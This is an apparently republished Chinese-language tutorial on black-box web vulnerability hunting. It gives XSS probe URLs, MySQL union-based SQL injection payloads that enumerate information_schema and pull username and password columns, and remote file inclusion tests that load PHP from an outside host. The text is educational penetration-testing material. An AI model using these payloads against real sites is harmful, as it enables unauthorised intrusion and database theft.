做者:7all (sgh81_at_163.com)php
WEB漏洞挖掘技術html
|=---------------=[ WEB漏洞挖掘技術 ]=-----------------------------=|
|=-----------------------------------------------------------------=|
|=---------------=[ 7all<7all7_at_163.com> ]=----------------------=|
|=-----------------------------------------------------------------=|
|=---------------=[ bbs.cciss.cn ]=--------------------------------=|mysql
--]前言
漏洞挖掘技術一直是網絡***者最感興趣的問題,漏洞挖掘的範圍也在隨着技術的
提高而有所變化.在前期針對緩衝區溢出 格式化字符串 堆溢出 lib庫溢出等技術都
是針對ELF文件(Linux可執行文件)或者PE文件(Win可執行文件)的漏洞挖掘技術.
在針對ELF文件 PE文件(*.exe與*.dll)的漏洞挖掘過程當中,出現了不少的漏洞挖掘
技術,可是針對PE文件 ELF文件的漏洞挖掘始終停留在了黑盒測試(包括單元黑盒測試)
源代碼審計等辦法.經過RATS等源代碼審計軟件能夠找到部分源代碼級別的漏洞信息,
可是畢竟源代碼審計軟件尋找的多數爲strcpy memcpy等存在緩衝區溢出遺患的C函數,
因此經過審計源代碼的辦法來進行漏洞挖掘是一個可能性係數很小的漏洞挖掘技術,而
針對軟件的黑盒子測試雖然也能找到一些軟件的漏洞,但可能性係數也會較小,在國外
的一些進行漏洞挖掘的辦法已經慢慢的提高爲本身寫黑盒子測試代碼,而後針對系統或
軟件的某個功能模塊進行模塊化的漏洞挖掘技術.例如Linux內核的不少漏洞都是經過
fuzzing技術找到的,fuzzing即模糊測試的意思,你們能夠理解爲相似SQL盲注入類型的
***技術.
網絡安全的界限在不斷的提高,目前緩衝區溢出漏洞已經如MS SQL注入般的被不少人
堵死,而在進行網絡******的過程當中,不少人***成功的着力點都是經過WEB開始的,
固然有些人是經過MS SQL注入,有些人經過其它的WEB漏洞技術一步步的走到了***成功
的步驟.咱們下面將會討論一些WEB漏洞挖掘的簡單技術,經過這些簡單技術的規則,而後
配合經驗的提升,你們或許會獲得意想不到的效果.web
--]WEB漏洞的分類
A: SQL注入(包括MSSQL MySQL Oracle等)
SQL注入漏洞,是依靠存在弱點的WEB腳本代碼,來實現經過瀏覽器執行任意SQL語句,從而
實現最終獲取某種權限的***技術.SQL注入的關鍵部分在於對元數據的利用,所謂元數據即
數據庫的基礎數據.例如咱們能夠經過database() version()來得到數據庫的名稱及版本,
而咱們經過SQL內置函數得到的這些內容都屬於數據庫元數據的內容.理解了元數據的概念,
在後面的章節我會給你們簡單的講解下經過元數據來獲取MySQL的數據表.sql
B: 文件包含類型,如PHP的的遠程 本地文件包含漏洞
文件包含漏洞是PHP程序特有的一個弱點***,原理就是在使用include時沒有安全的編程,
而可以找到文件包含漏洞則是***一個WEB系統的很重要的因素,有了文件包含漏洞則能夠
很快速的達到上傳WEBSHELL,而後本地提高權限的做用.shell
C: XSS
XSS漏洞是被不少人遺忘的漏洞,可是XSS也是一個比較危險的安全隱患,我看到不少國內介紹
XSS漏洞的文章大部分在如何欺騙管理員得到後臺登錄賬戶或者管理員的cookies文件.但這些
僅僅是XSS漏洞的簡單用法,若是尋找到的XSS漏洞能夠任意執行任何的Javascript腳本,那安全
性也是不容忽視的.經過Javascript腳本其實也能夠作一些惡意的***,甚至能夠得到一些WEB
程序的源代碼,固然這個要看你們對Javascript腳本的熟悉程度.例如咱們這幾天公佈的這個可
跨站執行任意Javascript腳本的漏洞,最後我也經過這個漏洞給客戶演示瞭如何獲取他們的服務
器信息,並最終實現獲得其必定權限的方法.
同時例如session欺騙 cookies欺騙,目前我也把這些規入了XSS漏洞的範圍,固然僅僅研究這
兩個技術也是很值得你們去深刻的進行漏洞挖掘的.數據庫
--]WEB漏洞挖掘規則
我想給你們事先說明下,該文檔的全部內容都爲黑盒子測試的範圍,也即便用這些漏洞挖掘規則,
你們僅僅須要一個WEB瀏覽器,如IE Firefox等便可,也無需讀取WEB程序的源代碼,只要某個規則
符合了漏洞規則的要求,你們便可以採起相關的漏洞***技術進行相應的漏洞***辦法:)
再次的羅嗦一下,在本文檔我沒有實際的例子給你們,可是不少漏洞挖掘的規則都是一些經驗的
積累,並且不少可能在實際進行漏洞挖掘時須要與實際狀況進行分析處理,例如:
http://website/index1.php?id=<script>alert("111")</script>,若是對方的代碼過濾了"雙引號
那麼能夠經過http://website/index1.php?id=<script>alert('111')</script>,採用'單引號測試
若單引號也過濾呢?OK,咱們這樣來測試http://website/index1.php?id=<script>alert(111)</script>
使用數字提交,這樣測試XSS的漏洞就擴展到了三條:)有些具體的站點可能還會有不少的問題,例如:
經過構造HTML語句來實現XSS漏洞的挖掘等等.編程
A: XSS的漏洞挖掘規則瀏覽器
http://website/index1.php?id=<script>alert("111")</script>安全
http://website/index1.php?id=<script>alert('111')</script>
http://website/index1.php?id=<script>alert(111)</script>
http://website/index1.php?id=<body+onload=alert("1111")>
http://website/index1.php?id=<body+onload=alert('1111')>
http://website/index1.php?id=<body+onload=alert(1111)>
http://website/index1.php?id=<img+src=http://OtherWebSite/x.gif+onload=alert("1111")>
http://website/index1.php?id=<img+src=http://OtherWebSite/x.gif+onload=alert('1111')>
http://website/index1.php?id=<img+src=http://OtherWebSite/x.gif+onload=alert(1111)>
http://website/index1.php?id=<"
http://website/index1.php?id=<'
http://website/index1.php?id=<
http://website/index1.php?id=<!--
http://website/index1.php?id=-->
http://website/index1.php?id=<!-- -->
使用上面的這些簡單漏洞規則,若是模糊測試一些站點的話,是能夠找到一些XSS漏洞的,固然這些
不是所有的XSS漏洞規則,可是我以爲這些規則比較經典些:)我測試一些站點的時候,使用這些
規則基本上能夠找到一些XSS漏洞.
B: SQL Injection
如今,MSSQL的注入技術已經變的很簡單,下面的內容咱們針對mysql的注入和你們一塊兒討論下
相關的技術,這些技術有簡單的,也有一些比較複雜的.另外mysql的注入工具目前沒有任何比較
強的工具,目前書寫一款功能較強的MySQL注入檢測工具也基本歸入了2007年的計劃內.
下面會針對各類規則,而後對這些規則進行簡單的說明,不少規則我相信你們都用過的,不對
的地方但願你們給予指針.
下面的這四個語句判斷是否存在mysql注入,其中'號類型的測試已經不是很可行,特別在PHP5和mysql
5的環境下:)
http://website/index1.php?id=1'
http://website/index1.php?id=1 and 1=1
http://website/index1.php?id=1 and 1=2
http://website/index1.php?id=1 order by 4 //4爲判斷該表的列數,直到猜想到爲止
下面的語句來獲取mysql的一些信息,這裏咱們假設咱們使用order by語句判斷出的列數爲4
http://website/index1.php?id=1 and 1=1 union select 1,2,3,4
http://website/index1.php?id=1 and 1=1 union select version(),database(),user(),4
http://website/index1.php?id=1 and 1=1 union select 1/*
http://website/index1.php?id=1 and 1=1 union select version()/*
http://website/index1.php?id=1 and 1=1 union select databse()/*
猜想表名:
http://website/index1.php?id=1 and 1=1 union select 1,2,3,4 from database.table where 1=2
//where 1=2 不打印猜想表的內容
這裏的猜想就須要你們多靠經驗了,如admin user articles news等等,並且必須在指定select
的字段個數再使用,不然mysql會報錯.
http://website/index1.php?id=1 and 1=1 union select table_schema,table_name,table_rows,
table_count from information_schema.tables //若是執行這條語句是可行的,那麼恭喜你們能夠
獲得更多的數據庫信息了:)
上面我曾經提到過使用數據庫的元數據來獲取mysql的信息,就是這裏的這個辦法,固然前提是系統
管理員沒有禁止mysql普通用戶對元數據庫的表查詢,若是禁止了則該辦法是無效的.
在開始分析mysql數據庫到底能夠執行到那種程度的注入狀況下,我花了一天的時間分析了mysql的
系統架構,最終發現經過information_schema數據庫提供給mysql用戶的元數據能夠獲得一些mysql
數據庫的基本信息,例如獲得數據庫的各個表信息等,還能夠獲得數據庫的權限設置等信息,下面的
內容屬於臨時增長的一個章節,咱們一塊兒來討論下information_schema數據庫的一些咱們用到的表
的具體字段究竟是幹什麼的:)
1: KEY_COLUMN_USAGE表
constraint_schema: 存放數據庫名
table_schema: 存放數據庫名
table_name: 存放數據庫表信息
column_name: 存放數據庫的字段信息,通常能夠獲取第一個字段或者自增字段的信息
2: SCHEMA表
schema_name: 存放數據庫名
default_charater_set_name: 存放charset類型
default_collation_name: 存放charset相關信息
3: SCHEMA_PRIVILEGES表
grantee: 存放數據庫用戶名
table_schema: 表名
privilege_type: 權限
4: STATISTICS表
table_schema: 存放數據庫名
table_name: 存放表名
index_schema: 數據庫名
index_name: 是否縮引?
column_name: 存放索引自增字段?
5: TABLES表
table_schema: 存放數據庫名
table_name: 存放表名
table_type: 表類型 SYSTEM or BASE TABLE
engin: MEMORY MYISAM InnoDB
version:
table_rows:表的行數
auto_increment: 自增的總行數
create_time: 建立表的時間
update_time: 更新表的時間
create_options: 建立表時的約束條件
...
有了這些之後,若是對方系統管理員忽略了這些,則能夠達到咱們不須要猜想表名而
直接獲取數據庫表名的結果.我在本地測試時一切OK:)
猜想列名:
http://website/index1.php?id=1 and 1=1 union select username,2,3,4 from user where 1=2
按照這個規則依次類推,若是咱們猜想到user表存在username字段,則程序執行是正常的,不然程序會
出錯,也可使用where 1=1來打印表的信息,經過這樣的辦法就能夠獲取mysql數據庫的某些關鍵表
的字段信息,如:admin與password:)
C: 文件包含漏洞
文件包含漏洞的測試,有如下幾個比較簡單且有效的辦法.
1: 新建一個簡單的php代碼,如:<? phpinfo(); ?>,保存爲*.txt格式
2: 新建一個簡單的php代碼,如:<? phpinfo(); ?>,保存爲無後綴格式
而後咱們測試時只須要採起下面簡單的辦法便可,這裏咱們假設咱們下面的文件URL爲:
http://bbs.cciss.cn/include.txt
http://bbs.cciss.cn/include
漏洞規則:
http://website/file.php?inc=http://bbs.cciss.cn/include.txt
http://website/file.php?inc=http://bbs.cciss.cn/include.txt?
http://website/file.php?inc=http://bbs.cciss.cn/include?
http://website/file.php?inc=http://bbs.cciss.cn/include
使用上面的簡單規則便可實現文件包含漏洞的測試,固然得根據具體的返回信息來判斷.
例如從XSS漏洞的檢測規則可能會發現包含文件漏洞:)
若是咱們知道PHP的某個函數存在緩衝區溢出,咱們假設這個PHP的內置函數爲phphtml(char *str),
那麼咱們如何利用這樣的漏洞呢?
咱們假設http://website/file.php?inc=test,這裏的參數inc通過PHP代碼時使用了phphtml內置
函數,則可使用下面的辦法來觸發漏洞
http://website/file.php?inc=11111111111....n(n爲觸發漏洞的最大字符數)
固然相似這樣的漏洞是須要寫程序來自動運行的,而後來觸發溢出並執行shellcode.
但這裏也存在一個問題,即通常狀況下,相似PHP自己的溢出漏洞的利用是有些難度存在的.
--] 總結 針對WEB漏洞的挖掘,規則有N多,其中還有不少變種的規則.這裏說的基本上是一些能夠簡單採起 手工辦法測試的規則,更多的規則是依靠經驗不斷積累所致:) 本文比較簡單,也沒有什麼技術含量,只是看到xfocus上介紹WEB漏洞的文章較少,因此纔想到提交下, 但願對你們有所幫助.